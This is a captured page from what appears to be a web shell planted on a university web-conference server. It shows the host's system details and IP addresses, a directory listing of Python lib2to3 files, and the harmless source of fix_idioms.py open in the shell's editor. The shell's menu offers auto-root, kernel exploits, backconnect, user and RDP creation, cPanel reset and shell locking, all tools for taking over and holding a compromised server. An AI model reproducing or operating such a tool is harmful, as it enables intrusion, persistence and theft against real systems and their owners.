Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.16.137.150
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.9 /
lib2to3 /
fixes /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
47
B
-rw-r--r--
fix_apply.py
2.29
KB
-rw-r--r--
fix_asserts.py
984
B
-rw-r--r--
fix_basestring.py
320
B
-rw-r--r--
fix_buffer.py
590
B
-rw-r--r--
fix_dict.py
3.67
KB
-rw-r--r--
fix_except.py
3.27
KB
-rw-r--r--
fix_exec.py
979
B
-rw-r--r--
fix_execfile.py
2
KB
-rw-r--r--
fix_exitfunc.py
2.44
KB
-rw-r--r--
fix_filter.py
2.7
KB
-rw-r--r--
fix_funcattrs.py
644
B
-rw-r--r--
fix_future.py
547
B
-rw-r--r--
fix_getcwdu.py
451
B
-rw-r--r--
fix_has_key.py
3.12
KB
-rw-r--r--
fix_idioms.py
4.76
KB
-rw-r--r--
fix_import.py
3.18
KB
-rw-r--r--
fix_imports.py
5.55
KB
-rw-r--r--
fix_imports2.py
289
B
-rw-r--r--
fix_input.py
708
B
-rw-r--r--
fix_intern.py
1.12
KB
-rw-r--r--
fix_isinstance.py
1.57
KB
-rw-r--r--
fix_itertools.py
1.51
KB
-rw-r--r--
fix_itertools_imports.py
2.04
KB
-rw-r--r--
fix_long.py
476
B
-rw-r--r--
fix_map.py
3.55
KB
-rw-r--r--
fix_metaclass.py
8
KB
-rw-r--r--
fix_methodattrs.py
606
B
-rw-r--r--
fix_ne.py
571
B
-rw-r--r--
fix_next.py
3.1
KB
-rw-r--r--
fix_nonzero.py
591
B
-rw-r--r--
fix_numliterals.py
768
B
-rw-r--r--
fix_operator.py
3.35
KB
-rw-r--r--
fix_paren.py
1.2
KB
-rw-r--r--
fix_print.py
2.78
KB
-rw-r--r--
fix_raise.py
2.86
KB
-rw-r--r--
fix_raw_input.py
454
B
-rw-r--r--
fix_reduce.py
837
B
-rw-r--r--
fix_reload.py
1.06
KB
-rw-r--r--
fix_renames.py
2.17
KB
-rw-r--r--
fix_repr.py
613
B
-rw-r--r--
fix_set_literal.py
1.66
KB
-rw-r--r--
fix_standarderror.py
449
B
-rw-r--r--
fix_sys_exc.py
1.01
KB
-rw-r--r--
fix_throw.py
1.54
KB
-rw-r--r--
fix_tuple_params.py
5.43
KB
-rw-r--r--
fix_types.py
1.73
KB
-rw-r--r--
fix_unicode.py
1.23
KB
-rw-r--r--
fix_urllib.py
8.17
KB
-rw-r--r--
fix_ws_comma.py
1.06
KB
-rw-r--r--
fix_xrange.py
2.63
KB
-rw-r--r--
fix_xreadlines.py
689
B
-rw-r--r--
fix_zip.py
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fix_idioms.py
"""Adjust some old Python 2 idioms to their modern counterparts. * Change some type comparisons to isinstance() calls: type(x) == T -> isinstance(x, T) type(x) is T -> isinstance(x, T) type(x) != T -> not isinstance(x, T) type(x) is not T -> not isinstance(x, T) * Change "while 1:" into "while True:". * Change both v = list(EXPR) v.sort() foo(v) and the more general v = EXPR v.sort() foo(v) into v = sorted(EXPR) foo(v) """ # Author: Jacques Frechet, Collin Winter # Local imports from .. import fixer_base from ..fixer_util import Call, Comma, Name, Node, BlankLine, syms CMP = "(n='!=' | '==' | 'is' | n=comp_op< 'is' 'not' >)" TYPE = "power< 'type' trailer< '(' x=any ')' > >" class FixIdioms(fixer_base.BaseFix): explicit = True # The user must ask for this fixer PATTERN = r""" isinstance=comparison< %s %s T=any > | isinstance=comparison< T=any %s %s > | while_stmt< 'while' while='1' ':' any+ > | sorted=any< any* simple_stmt< expr_stmt< id1=any '=' power< list='list' trailer< '(' (not arglist<any+>) any ')' > > > '\n' > sort= simple_stmt< power< id2=any trailer< '.' 'sort' > trailer< '(' ')' > > '\n' > next=any* > | sorted=any< any* simple_stmt< expr_stmt< id1=any '=' expr=any > '\n' > sort= simple_stmt< power< id2=any trailer< '.' 'sort' > trailer< '(' ')' > > '\n' > next=any* > """ % (TYPE, CMP, CMP, TYPE) def match(self, node): r = super(FixIdioms, self).match(node) # If we've matched one of the sort/sorted subpatterns above, we # want to reject matches where the initial assignment and the # subsequent .sort() call involve different identifiers. if r and "sorted" in r: if r["id1"] == r["id2"]: return r return None return r def transform(self, node, results): if "isinstance" in results: return self.transform_isinstance(node, results) elif "while" in results: return self.transform_while(node, results) elif "sorted" in results: return self.transform_sort(node, results) else: raise RuntimeError("Invalid match") def transform_isinstance(self, node, results): x = results["x"].clone() # The thing inside of type() T = results["T"].clone() # The type being compared against x.prefix = "" T.prefix = " " test = Call(Name("isinstance"), [x, Comma(), T]) if "n" in results: test.prefix = " " test = Node(syms.not_test, [Name("not"), test]) test.prefix = node.prefix return test def transform_while(self, node, results): one = results["while"] one.replace(Name("True", prefix=one.prefix)) def transform_sort(self, node, results): sort_stmt = results["sort"] next_stmt = results["next"] list_call = results.get("list") simple_expr = results.get("expr") if list_call: list_call.replace(Name("sorted", prefix=list_call.prefix)) elif simple_expr: new = simple_expr.clone() new.prefix = "" simple_expr.replace(Call(Name("sorted"), [new], prefix=simple_expr.prefix)) else: raise RuntimeError("should not have reached here") sort_stmt.remove() btwn = sort_stmt.prefix # Keep any prefix lines between the sort_stmt and the list_call and # shove them right after the sorted() call. if "\n" in btwn: if next_stmt: # The new prefix should be everything from the sort_stmt's # prefix up to the last newline, then the old prefix after a new # line. prefix_lines = (btwn.rpartition("\n")[0], next_stmt[0].prefix) next_stmt[0].prefix = "\n".join(prefix_lines) else: assert list_call.parent assert list_call.next_sibling is None # Put a blank line after list_call and set its prefix. end_line = BlankLine() list_call.parent.append_child(end_line) assert list_call.next_sibling is end_line # The new prefix should be everything up to the first new line # of sort_stmt's prefix. end_line.prefix = btwn.rpartition("\n")[0]
Close